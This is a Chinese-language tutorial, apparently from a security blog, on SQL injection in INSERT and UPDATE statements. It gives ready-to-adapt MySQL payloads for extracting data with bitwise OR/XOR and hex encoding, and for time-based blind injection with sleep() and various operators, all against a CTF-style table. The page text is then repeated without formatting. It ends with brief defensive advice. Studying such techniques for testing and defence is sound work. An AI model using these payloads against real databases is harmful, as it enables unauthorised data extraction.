Insert和Update型SQL注入的实践之旅
字数 731 2025-08-29 08:32:25

Insert和Update型SQL注入技术详解

一、有回显注入技术

1. 整型注入点利用

按位或运算(|)利用

  • 当拼接值为0时,可使用按位或运算显示查询数据
insert into ctf values (0 | (select hex(database())),'0','test','0');
  • 查询结果会显示十六进制值,需使用unhex()函数转换
select unhex(74657374);  -- 输出'test'

按位异或运算(^)利用

  • 当拼接值非0时(如100),可使用按位异或运算
insert into ctf values (100 ^ (select hex(database())),'0','test','0');
  • 需要再次异或才能恢复原始数据
select unhex(100^74657338);  -- 输出'test'

2. 字符型注入点利用

按位或运算(|)利用

insert into ctf values (100 ,'0'| (select hex(database())) ,'test','0');

按位异或运算(^)利用

insert into ctf values (100 ,'100' ^ (select hex(database())) ,'test','0');

3. 注意事项

  • 当查询结果大于MySQL bigint最大值(9223372036854775807)时,需使用substr等函数分段获取
  • 其他可逆运算符:+, -, *, /也可用于数据回显
  • 逻辑运算符(or, ||, xor, &&, and)不能用于数据回显注入

二、时间盲注技术

1. 整型注入点利用

逻辑运算符使用

  • and/&&:前面int值不能为0
  • or/||:前面int值不能为1
  • xor:对前面int值无要求(推荐使用)
insert into ctf values (0 && sleep(2),'test','test','0');  -- 不延时
insert into ctf values (1 && sleep(2),'test','test','0');  -- 延时2秒
insert into ctf values (0 || sleep(2),'test','test','0');  -- 延时2秒
insert into ctf values (1 || sleep(2),'test','test','0');  -- 不延时
insert into ctf values (0 xor sleep(2),'test','test','0'); -- 延时2秒
insert into ctf values (1 xor sleep(2),'test','test','0'); -- 延时2秒

四则运算使用

insert into ctf values (0+sleep(2),'test','test','0');  -- 延时
insert into ctf values (0-sleep(2),'test','test','0');  -- 延时
insert into ctf values (0*sleep(2),'test','test','0');  -- 延时
insert into ctf values (0/sleep(2),'test','test','0');  -- 延时

位运算使用

insert into ctf values (0&sleep(2),'test','test','0');  -- 延时
insert into ctf values (0|sleep(2),'test','test','0');  -- 延时

2. 字符型注入点利用

  • 可用运算符:or, ||, xor, |, &, +, -, *, /
  • 字符型在逻辑运算时会被当做0,不能使用&&and
insert into ctf values (0,'test' || sleep(2),'test','0');  -- 延时
insert into ctf values (0,'test'or sleep(2),'test','0');   -- 延时
insert into ctf values (0,'test'xor sleep(2),'test','0');  -- 延时
insert into ctf values (0,'test'| sleep(2),'test','0');    -- 延时
insert into ctf values (0,'test'& sleep(2),'test','0');   -- 延时
insert into ctf values (0,'test'+ sleep(2),'test','0');   -- 延时
insert into ctf values (0,'test'- sleep(2),'test','0');   -- 延时
insert into ctf values (0,'test'* sleep(2),'test','0');   -- 延时
insert into ctf values (0,'test'/ sleep(2),'test','0');   -- 延时

三、技术总结

  1. 有回显注入

    • 优先使用按位运算(|, ^)
    • 大数值需分段获取
    • 注意数据类型(整型/字符型)选择合适的运算符
  2. 时间盲注

    • 整型点:推荐使用xor或四则运算
    • 字符型点:避免使用&&and
    • 所有运算符都能触发延时,但需注意前置条件
  3. 防御建议

    • 使用参数化查询
    • 对用户输入进行严格过滤
    • 避免直接拼接SQL语句
    • 设置数据库用户最小权限
Insert和Update型SQL注入技术详解 一、有回显注入技术 1. 整型注入点利用 按位或运算(|)利用 当拼接值为0时,可使用按位或运算显示查询数据 查询结果会显示十六进制值,需使用 unhex() 函数转换 按位异或运算(^)利用 当拼接值非0时(如100),可使用按位异或运算 需要再次异或才能恢复原始数据 2. 字符型注入点利用 按位或运算(|)利用 按位异或运算(^)利用 3. 注意事项 当查询结果大于MySQL bigint最大值(9223372036854775807)时,需使用 substr 等函数分段获取 其他可逆运算符: + , - , * , / 也可用于数据回显 逻辑运算符( or , || , xor , && , and )不能用于数据回显注入 二、时间盲注技术 1. 整型注入点利用 逻辑运算符使用 and / && :前面int值不能为0 or / || :前面int值不能为1 xor :对前面int值无要求(推荐使用) 四则运算使用 位运算使用 2. 字符型注入点利用 可用运算符: or , || , xor , | , & , + , - , * , / 字符型在逻辑运算时会被当做0,不能使用 && 和 and 三、技术总结 有回显注入 : 优先使用按位运算( | , ^ ) 大数值需分段获取 注意数据类型(整型/字符型)选择合适的运算符 时间盲注 : 整型点:推荐使用 xor 或四则运算 字符型点:避免使用 && 和 and 所有运算符都能触发延时,但需注意前置条件 防御建议 : 使用参数化查询 对用户输入进行严格过滤 避免直接拼接SQL语句 设置数据库用户最小权限